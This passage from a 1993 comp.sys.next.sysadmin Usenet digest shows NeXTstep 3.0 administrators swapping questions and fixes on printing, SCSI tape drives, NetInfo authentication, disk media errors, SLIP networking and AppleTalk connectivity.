all you need to keep around in the Workspace. It updates you with vital
information and allows you to perform functions simply by clicking the
buttons.
- More preference options.
i) AutoLaunching DesktopIcons can be compulsory or optional.
ii) Miniaturize Desktop Window upon startup
iii)Miniaturize Paleete upon startup
- Central password file so that Desktop only needs to be registed once.
- a few bug fixes so that Desktop is getting more robust.
Well, I am surprised that so many people are interested in Desktop v1.1.
I hope more suggestions will roll in so that I can make Desktop to be
even better.
Lastly, I like to announce that my email address has changed. 128a-2fh@web
will be expired soon. To get a fully functional Desktop v1.5 demo (in
uuencoded tar format), please email sieu@cory.berkeley.edu
or send mail to :
Teck-Cheng Sieu
P.O. Box 367
Berkeley, CA 94701-0367
All current users of Desktop v1.1 are entitled to free upgrade to Desktop v1.5.
Desktop v1.5 is $30 per copy but group discount is available.
From: ruppert@next1.rz.fh-heilbronn.de (Michael Ruppert)
Newsgroups: comp.sys.next.sysadmin
Subject: problems with remote printing
Date: 25 Jan 1993 10:49:47 GMT
Organization: InterNetNews at News.BelWue.DE (Stuttgart, Germany)
Message-ID: <1k0gkbINNa1p@nic.BelWue.DE>
Hi,
I m having a big problem with an IBM 4019E PS printer. I need to access
this device across the ethernet and the risc6000 computer.
neither nis or netinfo is being used. the problem is
that no file gets printed and there is no error message on the next.
Note: I am using a NeXT cube color with NS 3.0.
Any ideas?
Michael Ruppert
ruppert@next1.rz.fh-heilbronn.de
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: pmelo@pombo.inescc.pt (Paulo Melo)
Subject: NeXT and Archive Tape Drives - SOLUTION
Message-ID: <1993Jan25.120433.13206@pombo.inescc.pt>
Followup-To: comp.sys.next.hardware,poster
Summary: A solution for the problem of using Archive Tape drives on NeXT
Keywords: Solution Archive Tape Drives SCSI
Organization: INESC - Nucleo de Coimbra
Date: Mon, 25 Jan 1993 12:04:33 GMT
Some time ago I made a posting asking about possible solutions for a
Archive Tape drive in which the tape control commands worked, but
the data transfer didn't.
As promised, here goes a solution that works (well, it worked for
me :-). The following is a little C program I compiled and put on
my rc.local, that set's the transfer settings for use of fixed 512
bytes blocks. This code is taken from NeXTanswers. (BTW, if you still
don't have it, go and get NeXTanswers. It's a great place to search
for NeXTinformation needed for both users and sysadmins).
----------------------------------------------------------------------
/*
* The following code configures the SCSI tape driver for /dev/rst0
* to support fixed-sized data transfers of 512 bytes each.
*/
#include <sys/types.h>
#include <sys/file.h>
#include <nextdev/scsireg.h>
main()
{
int fd, error;
int blocksize = 512; /* or whatever block size your tape likes*/
fd = open("/dev/rst0", O_RDWR, 777);
if (ioctl(fd, MTIOCFIXBLK, &blocksize))
{
perror("ioctl failedn");
return 1;
}
close (fd);
return 0;
}
-------------------------------------------------------------------
Objnote: If you compile this code with NeXTStep 3.0 with will warn you
about using old (version 2.0) headers. Forget the warnings. I didn't,
and the code I compiled with the 3.0 headers didn't work. You have been
warned.
Objthanks: I would like to thank jimc@tau-ceti.isc-br.com (Jim Cathey),
harit@kripalu.com (Harit) and lliou@sdcc3.UCSD.EDU (Lily Liou) for their
kind help and answers to my request. Thanks, boys and girls.
--
Paulo Melo | "once again the sound of crying
pmelo@inescc.pt | is #1 across the earth..." Prefab Sprout
Newsgroups: comp.sys.next.sysadmin
From: nader@bogart (Nader Sahyouni)
Subject: external SCSI device question
Message-ID: <1993Jan25.171549.18067@news.acns.nwu.edu>
Keywords: external SCSI
Sender: usenet@news.acns.nwu.edu (Usenet on news.acns)
Organization: Northwestern University, Evanston, Illinois, USA
Date: Mon, 25 Jan 1993 17:15:49 GMT
We have an external A/D SCSI device connected to our cube.
Every time a user logs in, they get an alert panel saying:
"unreadable SCSI device: Initialize? or Ignore?".
Under NeXTStep 2.1, we had disabled this with an entry in
fstab of the form:
/dev/sd2a "/Untitled" ignore noauto,rw,noquota 1 2
which seemed to work just fine.
Now that we upgraded to 3.0, that solution seems no longer
to be adequate. Any ideas out there on how we could get the NeXT
to stop asking us about that device every time we log in?
Any info would be appreciated.
thanks,
xns@nwu.edu
From: sbart@atlantis.tamu.edu (Stephen Bartholomew)
Newsgroups: comp.sys.next.sysadmin
Subject: Stripping Ctrl-D from remote print jobs
Date: 25 Jan 1993 18:52:52 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <1k1cu4INNnf7@tamsun.tamu.edu>
I have networked a PC to my NeXTstation at home using FTP softwares
PC/TCP. I am having problems printing to my NeXT printer from Microsoft
windows 3.1 because windows postscript interpreter likes to put a Ctrl-D
at the begining and ending of each file it sends out. If I print to a file
and remove the first ctrl-d and then send it to the printer it prints just
fine. I found a reference to unix printing in a readme file in windows
that said if I put the following statement in my win.ini file under the
printer definition it would remove the ctrl-d's "CtrlD=0" but this does
not seem to work.
Has anyone had this problem before or know what I am doing wrong? Can I
put a filter in my /etc/printcap to strip any ctrl-d's out of the print
stream?
Stephen Bartholomew
sbart@atlantis.tamu.edu
Texas A&M University
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Network Management Software Using NeXTstep
Message-ID: <1993Jan25.185855.16310@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
Date: Mon, 25 Jan 93 18:58:55 GMT
We run a number of wide-area networks. We use a Digital
product (DEC MCC/MSU) running on Ultrix machine as our main
tool for monitoring these networks. I'm the only one in my
group with a NeXT machine, but a couple of the others are
interested in NeXT because of the ease and power of NeXTstep
as a development tool.
They asked me, and I simply don't know, whether there are
tools already available for NeXT for managing networks,
things on the order of Sun Net Manager, for example.
Has anyone other there in netland found or made tools of
this sort?
--
[Jess Anderson <> Madison Academic Computing Center <> University of Wisconsin]
[Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson]
[Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888]
[---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
Newsgroups: comp.sys.next.sysadmin
From: gary@nshade.uah.ualberta.ca (Gary Ritchie)
Subject: 2.2 Needed
Message-ID: <1993Jan25.200850.9036@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Mon, 25 Jan 1993 20:08:50 GMT
For various reasons, I have to downgrade 41 Turbo NeXTs from 3.0 to 2.2.
Problem is, nobody around here has a 2.2 distribution, or even a 2.2 hard
drive to build from.
I'm not sure what the licensing implications are, but does anyone have an
original 2.2 distribution on (yech) floppies that they could arrange to
lend/rent/lease/ftp :-) to me? Was 2.2 ever shipped on a CD, because that
would be even better.
I haven't talked to NeXT about this yet, but does anyone know if they will
still ship pre-3.0 software?
Aaarrgghh!!
---
Gary Ritchie
Newsgroups: comp.sys.next.sysadmin
From: hoymand@wissago.wisc.edu (Dirk Herr-Hoyman)
Subject: Re: CAP under NeXTstep 3.0
Message-ID: <1993Jan25.182909.24681@pslu1.psl.wisc.edu>
Keywords: Ethertalk, CAP, Next
Sender: news@pslu1.psl.wisc.edu (USENET News System)
Organization: Physical Sciences Lab, UW-Madison
References: <1993Jan25.072734.23701@fzi.de>
Date: Mon, 25 Jan 93 18:29:09 GMT
In article <1993Jan25.072734.23701@fzi.de> bwild@fzi.de writes:
> We have CAP 6.0 running on our NeXTs under 2.1 and 3.0 without any problems.
In
> contrast to the Appleshare client software of NeXT which is part of NS3.0 the
> CAP package exhibits a very good stability and reasonable performance. After
> the porting of Adobe LaserWriter fonts from Mac to NeXT via Metamorphosis we
> can even use the NeXT laser printer without any problems. The only
prerequisite
> is an Appletalk/Internet gateway (e.g. Kinetics FastPath or Cayman Gatorbox)
> because the NeXT version of CAP doesn't support EtherTalk, i.e. the direct
> integration of Macs with Ethernet cards and NeXTs.
>
Could you explain how you have your Next and your AppleTalk network connected?
If Ethertalk is not supported, I am not clear as to how this is done.
Also, do you know if anyone is working to bring up Ethertalk?
--
Dirk Herr-Hoyman
Internet Publishing Specialist
University of Wisconsin - Extension
hoymand@wisplan.uwex.edu
608-262-0518 (voice)
608-265-2530 (fax)
From: iarit@slate.mines.colorado.edu (ARIT ISMAIL)
Newsgroups: comp.sys.next.sysadmin
Subject: X for color NeXT?????......
Message-ID: <1993Jan25.193401.60380@slate.mines.colorado.edu>
Date: 25 Jan 93 19:34:01 GMT
Organization: Colorado School of Mines
Hi there,
I don't know if this is the right place to post this question,
but I need some help with getting X up and running on color NeXT.
Does anybody know where I can get X (need binaries, don't have space to
compile)
for color NeXT? I got X for Mono(2 bits) NeXT up and running, but the same
binaries doesn't work for color one( show very small multiple windows
on the screen).
I appreciate any help.
iarit@slate.mines.colorado.edu
Newsgroups: comp.sys.next.sysadmin
From: jchin@prodigy.bc.ca (Joseph Chin)
Subject: NeXT printer problem: reverse print order
Message-ID: <1993Jan25.230459.8288@prodigy.bc.ca>
Sender: news@prodigy.bc.ca
Organization: Prodigy Technologies Corp.
Date: Mon, 25 Jan 1993 23:04:59 GMT
Hello folks,
The hardworking NeXT Laser Printer at our site generously provides print
services to a few less fortunate Sun Sparcstations and servers. Everything
works fine except that the NLP has a nasty habit of reversing the page
order of the output pages. I seem to recall someone posting a fix to that
problem quite a while ago. Can one of you kind souls dig up that solution
or propose any others that may alleviate this minor but increasingly
annoying problem?
Thanks.
Joe
--
Joseph Chin Prodigy Technologies Corp.
jchin@prodigy.bc.ca (NeXTmail welcome) 1190 Hornby Street, 11th flr
phone 16046874636 Vancouver, British Columbia
fax 16046871671 V6Z 2K5
Newsgroups: comp.sys.next.sysadmin
From: rich@pencil.cs.missouri.edu (Rich Winkel)
Subject: Why won't my Next print to Sun printer?
Message-ID: <rich.728008387@pencil>
Sender: news@mont.cs.missouri.edu
Organization: University of Missouri
Date: 26 Jan 93 00:33:07 GMT
I can print to other nexts with no problem, and even to a gatorbox.
But when I try to print to a sun, the file just sits in the queue in the
"active" slot. The sun's local printer error log says:
ps: %%[ Error: timeout; OffendingCommand: timeout ]%%
Any ideas? Here's the next's printcap:
chicone: \
:note=Chicone Laserwriter:ty=LaserWriter Plus:rp=lw:lp=:rm=chicone: \
:lo=lock:sd=/usr/spool/NeXT/chicone:
Thanks for any help!
Rich
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo authentication
Message-ID: <18152@umd5.umd.edu>
Date: 26 Jan 93 02:06:55 GMT
Sender: news@umd5.umd.edu
Organization: University of Maryland, College Park, MD
Does anyone have any ideas as to why I'm getting authentication errors when
trying to edit data served by another machine, when that domain's root
password is empty (it isn't always empty, just testing)?
Here's the exact situation. Voyager is our two level NetInfo server, so it
serves / and /voyager. (It's a NeXTcube, this is all NeXTstep 3.0.)
Pioneer, a color station, serves /pioneer.
Pioneer can not authenticate itself to / or /voyager. It just can't. At
first I thought it was some sort of trusted_networks glitch, but we don't use
trusted_networks. Then I thought it might've been a machine/IP
address/ethernet address mismatch, but all the relevant data seemed fine.
Heck, I'm stumped on this one. Anyone else have any ideas?
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
One of the saddest lessons of history is this: If we've been bamboozled
long enough, we tend to reject any evidence of the bamboozle. We're no
longer interested in finding out the truth. The bamboozle has captured
us. it is simply too painful to acknowledge -- even to ourselves -- that
we've been so credulous. (So the old bamboozles tend to persist as the
new bamboozles rise.)
-- Carl Sagan, "The Fine Art of Baloney Detection," Parade, February 1, 1987
From: crs@crs-sys.ersys.edmonton.ab.ca (Chris Gregors)
Newsgroups: comp.sys.next.sysadmin
Subject: Configuring uucp dialup/dialout
Message-ID: <1993Jan26.015439.21819@crs-sys.uucp>
Date: Tue, 26 Jan 1993 01:54:39 GMT
Distribution: comp
Organization: Confusion Control
I know that this has been covered before, but it's not in the FAQ'z and
my archive doesn't cover this group. So I'll ask.
I've got a nextcube running 3.0 that connects to this machine. I currently
have it setup to poll me, but I'd like to poll it. When I followed the config
procedures for tip/uucp I get the message
/dev/cufa busy
This occurs once I change the /etc/ttys entry for the port to 'on' and do
the kill -HUP 1 to restart it. I read the section on arbritration of the
comports and don't see anything wrong. I've tried every kinda config to get
it to work and have had no luck
The entry in the /etc/ttys file is:
ttydfa "/usr/etc/getty std.19200" dialup on
The entry in the /etc/remote file uses dv=/dev/cufa. This works fine if the
ttys entry is 'off'
The entry in the /etc/uucp/L-devices file is:
DIR cufa unused 19200 direct
So what gives?
TIA
<crs>
--
| Chris Gregors aka General Mayhem crs@crs-sys Edmonton Alberta Canada |
| The secrets of the universe are very simple, I just can't figure them out! |
From: crs@crs-sys.ersys.edmonton.ab.ca (Chris Gregors)
Newsgroups: comp.sys.next.sysadmin
Subject: Novell netware filesystems
Message-ID: <1993Jan26.015750.21901@crs-sys.uucp>
Date: Tue, 26 Jan 1993 01:57:50 GMT
Distribution: comp
Organization: Confusion Control
Is it possible to publish the Next volume as a netware accessable filesystem
using the stock configuration or am I dreaming?
ie: access Next files from a Novell workstation. The opposite of accessing
a Novell fileserver from the Next.
<crs>
--
| Chris Gregors aka General Mayhem crs@crs-sys Edmonton Alberta Canada |
| The secrets of the universe are very simple, I just can't figure them out! |
Newsgroups: comp.sys.next.sysadmin
From: bwild@fzi.de
Subject: Re: CAP under NeXTstep 3.0
Message-ID: <1993Jan26.093530.15705@fzi.de>
Sender: news@fzi.de (FZI-news)
Organization: FZI Forschungszentrum Informatik, Karlsruhe, Germany
References: <1993Jan25.182909.24681@pslu1.psl.wisc.edu>
Date: Tue, 26 Jan 1993 09:35:30 GMT
In article <1993Jan25.182909.24681@pslu1.psl.wisc.edu> hoymand@wissago.wisc.edu
(Dirk Herr-Hoyman) writes:
> Could you explain how you have your Next and your AppleTalk network
connected?
> If Ethertalk is not supported, I am not clear as to how this is done.
>
> Also, do you know if anyone is working to bring up Ethertalk?
>
All Macs are grouped together to LocalTalk clusters, typically 5 to 10 Macs per
cluster. In every cluster a Kinetics FastPath is running which is hooked
directly to our Ethernet backbone. The FP serves
* as a bridge between different LocalTalk clusters, thus connecting them
together logically (i.e. the user doesn't see the Ethernet part)
* as a gateway for MacTCP packages. These are Internet packages wrapped
in AppleTalk packages. The FP removes the wrapper and sends them to the
Ethernet as plain Internet packages and vice versa.
* as a bridge for EtherTalk packages as they can be send by
Ethernet-equipped Macs. But, the other Ethernet hosts like Suns or
NeXTs have to understand the EtherTalk protocol. Up to now NeXT has only
built in the AppleTalk protocol. EtherTalk is supported on some
platforms by CAP but not on NeXT.
To answer your last question, I don't know. But with the distribution of NeXTs
on university campuses I think it's only a matter of time when this will be
available.
Bernd Wild
===============================================
Bernd Wild
Forschungszentrum Informatik FZI
Dept. Technical Expert Systems and Robotics
Haid-und-Neu-Strasse 10-14
D-7500 Karlsruhe GERMANY
Tel: +49-721-9654-310
Fax: +49-721-9654-309
email: bwild@fzi.de
===============================================
From: brandyn@goofy.apple.COM (Brandyn)
Newsgroups: comp.sys.next.sysadmin,comp.sys.mac.system,comp.sys.next.misc
Subject: Generating PORTABLE Postscript from a Mac?
Keywords: postscript print
Message-ID: <34929@goofy.apple.COM>
Date: 26 Jan 93 08:00:24 GMT
Followup-To: poster
Organization: Apple Computer Inc., Cupertino, CA
Has anyone out there successfully printed Mac generated postscript
on a NeXT? I'm having a strange problem where the font gets slightly
warped -- it is the correct font and all, but many of the characters
have a point in their outline translated to their origin. Makes it look
like I got the page wet and smudged everything down and left.
In addition, I have to prepend the line "%! foo" to the beginning
of the files to get them to print at all. This prevents the NeXT from
trying to interpret the file as conforming postscript -- otherwise, I get
nothing at all (it complains about the "BoundingBox: ? ? ? ?" line).
I've looked at macps and a couple of other packages out there that
are supposed to make this work, but none seem to deal with these particular
problems (most have added problems, actually).
Please respond via email, as I have limitted news access.
Thanks,
-Brandyn (brandyn@apple.com)
Newsgroups: comp.sys.next.sysadmin
From: zeke@znext.cts.com (james dehnert)
Subject: Back to 2.0 ?
Message-ID: <1993Jan26.041701.387@znext.cts.com>
Sender: zeke@znext.cts.com (james dehnert)
Organization: pnet
Date: Tue, 26 Jan 1993 04:17:01 GMT
When I installed 3.0 all seemed well, but my system has been getting
progressivley less and less stable. My system crashes about once a day,
and that's only because I'm not around to reboot it more often.
I'm contemplating re-installing from a totally clean disk and, arghhhhhh
re compiling all the local software I have. No small effort. I have sent
mail to nest asking if there is some kind of debugging tool that will
allow me to trace the cause of these crashes, but the only response I got
was a letter telling me I could pay for service if I liked.
Does anyone know what I could use to discober the cause of these
crashes?
Zeke
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From: zaphod@ctrg.rri.uwo.ca (Lance R. Bailey)
Subject: NewGrazer hangs and dies
Organization: University of Western Ontario
Distribution: na
Date: Tue, 26 Jan 1993 13:48:01 GMT
Message-ID: <1993Jan26.134801.23380@julian.uwo.ca>
Sender: news@julian.uwo.ca (USENET News System)
I have a user here with an odd problem wrt NewsGrazer.
He will be reading news, when suddenly the mouse pointer will start to
spin and NewsGrazer will die, dumping core on his home area.
He says that the first time it takes 20 minutes to do this, then shorter and
shorter times until he can only read news for 2 minutes at a time.
I run the same executable from /LocalApps and do not see this problem.
He reads about 147 groups, i read about 34 and other than that, there is
little difference betwixt our .newsrc files, he has pruned out all very long
article lists in the .newsrc.
--
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NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group
fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr.
vox: +1 519 663 3787 x4108 London, Canada N6A 5K8
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NetInfo authentication
Date: 26 Jan 1993 15:31:34 GMT
Organization: University of Houston
Message-ID: <1k3lgmINNq80@menudo.uh.edu>
References: <18152@umd5.umd.edu>
In article <18152@umd5.umd.edu> matthews@oberon.umd.edu (Mike Matthews)
writes:
#Does anyone have any ideas as to why I'm getting authentication errors
when
#trying to edit data served by another machine, when that domain's root
#password is empty (it isn't always empty, just testing)?
#
If there is not a "root" account on a level in the Netinfo structure, then
that level can only be modified on the machine that serves it. To solve
this problem, add a root user to the particular level you want to be able
to change from clients (i.e, in your case, add a "root" user to the /
domain). The root users in these domains can have different passwords if
you like and can make for added security since you will have to supply a
password to make any changes to that particular domain. This would me
that if someone got root on your server, they would only be able to screw
with the local netinfo domain on that server (unless all your root
passwords in Netinfo are the same!)...
#Here's the exact situation. Voyager is our two level NetInfo server, so
it
#serves / and /voyager. (It's a NeXTcube, this is all NeXTstep 3.0.)
#Pioneer, a color station, serves /pioneer.
#
#Pioneer can not authenticate itself to / or /voyager. It just can't. At
#first I thought it was some sort of trusted_networks glitch, but we don't
use
#trusted_networks. Then I thought it might've been a machine/IP
#address/ethernet address mismatch, but all the relevant data seemed fine.
I would suggest that you use trusted_networks. Otherwise anyone can snarf
any of your netinfo data by using tags.
#------
#Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
#------
#One of the saddest lessons of history is this: If we've been bamboozled
#long enough, we tend to reject any evidence of the bamboozle. We're no
#longer interested in finding out the truth. The bamboozle has captured
#us. it is simply too painful to acknowledge -- even to ourselves -- that
#we've been so credulous. (So the old bamboozles tend to persist as the
#new bamboozles rise.)
#-- Carl Sagan, "The Fine Art of Baloney Detection," Parade, February 1,
1987
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From: wsmith@cs.utexas.edu (Wesley C. Smith)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Hard disk media errors
Date: 26 Jan 1993 10:06:36 -0600
Organization: CS Dept, University of Texas at Austin
Sender: Wesley C. Smith
Message-ID: <1k3nicINNjnt@im4u.cs.utexas.edu>
References: <1993Jan26.151807.12447@athena.mit.edu>
Summary: What needs to be done with media errors?
Keywords: Media Errors, Disk, Bad Blocks
I have a new disk drive (Toshiba MK538FB) and have been getting several media
errors. So for it has had about 10 in three weeks, one of which caused some
files to be lost. None of the media errors has occured twice on the same
block. Does that mean that 3.0 has marked those blocks as bad, the blocks
are borderline bad, or that my lightly used system hasn't tried to read
those blocks again?
What needs to be done about the Media errors? Please e-mail any suggestions or
comments. I have included the errors from /usr/adm/messages at the end.
Thanks,
Wes Smith
wes@arissoft.com (NeXTmail)
Target 0: MEDIA ERROR; block 22a921H retry 1
Target 0: MEDIA ERROR; block 1657bH retry 1
Jan 7 15:59:23 arissoft mach: Target 0: MEDIA ERROR; block e8411H retry 1
Jan 7 16:14:55 arissoft mach: Target 0: MEDIA ERROR; block 1dd52dH retry 1
Jan 8 15:50:18 arissoft mach: Target 0: MEDIA ERROR; block 20bafH retry 1
Jan 9 10:41:43 arissoft mach: Target 0: MEDIA ERROR; block 20babH retry 1
Jan 13 02:04:35 arissoft mach: Target 0: MEDIA ERROR; block 189a09H retry 1
Jan 20 02:00:25 arissoft mach: Target 0: MEDIA ERROR; block 21d9c7H retry 1
Jan 21 18:30:50 arissoft mach: Target 0: MEDIA ERROR; block 224167H retry 1
Jan 21 02:00:19 arissoft mach: bad block -118620160, <3>/: bad block
Jan 23 02:01:27 arissoft mach: Target 0: MEDIA ERROR; block 1dd521H retry 1
Jan 23 02:04:10 arissoft mach: Target 0: MEDIA ERROR; block 122fdfH retry 1
From: brit@wagner.Physics.McGill.CA (Dave Britton)
Newsgroups: comp.sys.next.sysadmin
Subject: gdb connection to Edit (view) doesn't work ????
Message-ID: <1993Jan26.175804.18242@sifon.cc.mcgill.ca>
Date: 26 Jan 93 17:58:04 GMT
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
On one of our NeXTStations running NS3.0 the following
works fine:
>gdb myProgram
>view
and Edit gets fired up with a menu item GDB.
However, on all out other identical NeXT's it does not work
and I can't find any difference. Edit gets fired up but no
menu item is added and gdb hangs (no prompt is returned).
Both Terminal and Edit are in an NFS mounted directory
(they are NOT local to the one machine that works).
Each machine has it's own version of /bin/gdb but they
are the same version number on all machines.
Anybody got any suggestions?
Thanks, Dave.
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From: pan@athena.mit.edu (W. H. Pan)
Subject: Help Needed--Media Errors
Message-ID: <1993Jan26.192319.24646@athena.mit.edu>
Sender: pan@athena.mit.edu
Organization: Massachusetts Institute of Technology
Date: Tue, 26 Jan 1993 19:23:19 GMT
Hi,
I was getting some media errors on my internal hard drive the other day. I was
told that a low level format would correct those errors. Well, I used disk to
perform the format and the initialization. But the media errors continued. I
guess I'm doing something wrong, could you please email me the solution.
Thanks. Any help will be much appreciated.
-Howard
pan@athena.mit.edu
From: isbell@cats.ucsc.edu (Art Isbell)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTstation to DEC MicroVAX connectivity
Summary: What's needed to use NeXTstation as MicroVAX VT100 terminal?
Message-ID: <1k48gaINN51e@darkstar.UCSC.EDU>
Date: 26 Jan 93 20:55:38 GMT
Organization: Cubic Solutions - NeXT software development and consulting
A client needs to connect a NeXTstation to her MicroVAX 3900 running VMS to use
the NeXTstation as a MicroVAX terminal. It's connected to a DECserver terminal
server via DECnet and (over?) ethernet. Terminal is a VT100 emulator, so it
seems that it would generate escape sequences familiar to the MicroVAX.
Seems like several approaches are possible:
1. Connect the NeXTstation to the DECserver via a serial line. If this is
possible, how does one direct Terminal to connect to that serial port?
Is any additional harware or software required on either end (other than
a serial cable :-)
2. Make the NeXTstation an ethernet node and use telnet or rlogin to
establish a MicroVAX login session. In my distant foggy past, I seem to
recall using telnet to login to a VAX, so I assume that telnet and
possible the "r" utilities (rlogin, rsh, rcp, etc.) are available for a
MicroVAX. What additional hardware/software would be required?
3. (Fill in your favorite suggestion here.)
Thanks for your help.
--
Art Isbell Cubic Solutions
NeXT Registered Developer #745 NeXT software development and consulting
NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154
USmail: 95018-9442 Fax: (408)335-2515
From: kambiz@oceania.com (Kambiz Aghaiepour)
Newsgroups: comp.sys.next.sysadmin
Subject: Slip and -NXHost
Message-ID: <C1H53I.LuF@oceania.com>
Date: 26 Jan 93 18:38:05 GMT
Sender: kambiz@oceania.com (Kambiz Aghaiepour)
Distribution: na
Organization: Oceania Health Care Systems
I am having trouble -NXHost'ing an application from a client machine that is
connected to my network via slip. (Yeah, I've heard it's really slow and
not worth the trouble; but I enjoy pain!)
I have Louis A. Mamakos' slip. And the two machine that are connected are
both running 3.0 (one is a cube, the other a nextstation turbo). When I
start any application with the -NXHost option, e.g.
/NextApps/Terminal.app/Terminal -NXHost slipserver &
I get the following familiar message:
DPS client library error: Could not form connection, host slipserver
I have set the preferences (on slipserver) to be a public window server
and I have logged out and back in since changing the prefs. I must be missing
something really obvious. Has anyone ever tried to do this before? Any help
is greatly appreciated.
--Kambiz
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From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NetInfo authentication
Message-ID: <18169@umd5.umd.edu>
Date: 27 Jan 93 00:30:36 GMT
References: <18152@umd5.umd.edu> <1k3lgmINNq80@menudo.uh.edu>
Sender: news@umd5.umd.edu
Organization: Los Alamos National Laboratory, NM
In article <1k3lgmINNq80@menudo.uh.edu> sears@uh.edu writes:
>If there is not a "root" account on a level in the Netinfo structure, then
>that level can only be modified on the machine that serves it.
True. The problem turned out to be many uid 0 accounts (a field account set
up for class use, and somehow sundiag and sysdiag got there too....).
Getting rid of all the other uid 0 accounts solved the problem. Jeff Kight
suggested the fix.
>The root users in these domains can have different passwords if
>you like and can make for added security since you will have to supply a
>password to make any changes to that particular domain. This would me
>that if someone got root on your server, they would only be able to screw
>with the local netinfo domain on that server (unless all your root
>passwords in Netinfo are the same!)...
Um, not quite. Root on the local machine can modify whatever it wishes on
that machine. NetInfo checks the incoming port number, and if it's less than
1024, it's considered trusted. If you are not root, yes, you need to enter
the appropriate root password (with niutil -p or the NetInfo authentication
panel with the GUIs).
>I would suggest that you use trusted_networks. Otherwise anyone can snarf
>any of your netinfo data by using tags.
Normally I would but these are on their own network, with no connection to
anything else.
>Paul S. Sears
------
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------
"A fractal is by definition a set for which the Hausdorff Besicovitch
dimension strictly exceeds the topological dimension."
-- Mandelbrot, _The Fractal Geometry of Nature_
From: hama@potenza.fjh.snet.or.jp (HAMADA)
Newsgroups: comp.sys.next.sysadmin.ctl
Subject: newgroup comp.sys.next.sysadmin
Message-ID: <137@potenza.fjh.snet.or.jp>
Date: 24 Jan 93 08:49:15 GMT
Control: newgroup comp.sys.next.sysadmin
Distribution: comp
Organization: FUJITSU HOKURIKU SYSTEMS MASUIZUMI,KANAZAWA,ISHIKAWA,JAPAN
From: scd@cis.ufl.edu (Steve Donahue)
Newsgroups: comp.sys.next.sysadmin
Subject: Hewlett-Packard DeskJet 500 and NeXT
Keywords: printer, DeskJet
Message-ID: <38396@uflorida.cis.ufl.edu>
Date: 27 Jan 93 14:51:11 GMT
Sender: news@uflorida.cis.ufl.edu
I just got a Hewlett-Packard DeskJet 500. I have the djf "printer filter"
program installed. It seems to print ok, but not nearly as good as I
expected. First, the margins are _way_ off. Second, there are small
blank white spaces (lines) across some prints.
Does anyone out there have a DeskJet that they are really pleased with?
If so, what have you done to overcome the problem with the margins? I
think the white spaces may be due to a bad print cartridge, so this
problem may be overcome. However I would like to hear others opinions.
Thanks.
--
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From: beatty@sqhilton.pc.cs.cmu.edu (Derek Beatty)
Subject: Re: Slip and -NXHost
Message-ID: <C1IMMy.I96.2@cs.cmu.edu>
Originator: beatty@sqhilton.pc.cs.cmu.edu
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
References: <C1H53I.LuF@oceania.com>
Distribution: na
Date: Wed, 27 Jan 1993 13:54:33 GMT
In article <C1H53I.LuF@oceania.com> kambiz@oceania.com (Kambiz Aghaiepour)
writes:
>
> I am having trouble -NXHost'ing an application from a client machine
that is
> connected to my network via slip. (Yeah, I've heard it's really slow
and
> not worth the trouble; but I enjoy pain!)
>
You don't enjoy that much pain, but... If you examine the /etc/rc* scripts
and perhaps the boot messages, you'll find that the Mach net message
server looks around when it starts to see what network interfaces are
available. Since this is before Slip is loaded, it doesn't know about
slip. Thus you must somehow establish routes so that when the
netmessageserver tries to send through the ethernet interface, the packets
actually get routed correctly. There are various approaches; for example,
give the ethernet and slip interfaces the same IP address, then on the
standalone machine in /etc/rc.local:
/etc/route delete 128.2.0.0 $INETADDR
Replace 128.2.0.0 with your network.
Getting NXHost working over slip is an interesting experiment, and you can
even get windows up on your screen if you go about it right, but it
doesn't *really* work. I think that what happens is that the interaction
between the remote app and the windowserver consumes essentially all of
the communication channel just to blink the cursor in a text object, and
once you try to do anything more, buffers fill up and messages don't get
through. (This is at 19.2kbps, headers not compressed.)
Maybe if you just need to push a couple of buttons in an app, you could do
something useful with NXHost over slip, but the moment you must type
anything, forget it. It Just Doesn't Work.
And by the way, you don't have to log out and back in after checking
Public Window Server in 2.1. Is that yet another "improvement" of 3.0?
-- Derek
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From: matt@crawfish.math.tulane.edu (Matt Hopkins)
Subject: a working talk(1)?
Message-ID: <1993Jan27.155448.24805@cs.tulane.edu>
Sender: news@cs.tulane.edu
Organization: Mathematics department, Tulane University
Date: Wed, 27 Jan 1993 15:54:48 GMT
Nntp-Posting-Host-[nntpd-24732]: crawfish.math.tulane.edu
Can anyone tell me where I can get a copy of talk that works? The one
I have (from NextStep 2.2) doesn't work.
Matt
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From: matt%mattcube@concert.net (Matthew M. Stecker)
Subject: swapfile keeps growing . . .
Message-ID: <1993Jan27.154600.11256@mattcube>
Sender: matt@mattcube
Organization: UNC School of Law, CC for NeXT Computer, Inc.
Date: Wed, 27 Jan 1993 15:46:00 GMT
I know that this has been asked before, but how to fix a swapfile under
3.0 that keeps growing and growing . . . ?
This same machine did not have this problem under 2.2
(Turbo Cube 400/32 - Monochrome).
Matt Stecker
--
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NeXT Campus Consultant, | There are many like it,
UNC School of Law | but this one is mine.
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From: tito@di.unipi.it (Tito Flagella)
Subject: FAQ?
Message-ID: <1993Jan27.145540.10165@cli.di.unipi.it>
Sender: netnews@cli.di.unipi.it (USENET News System)
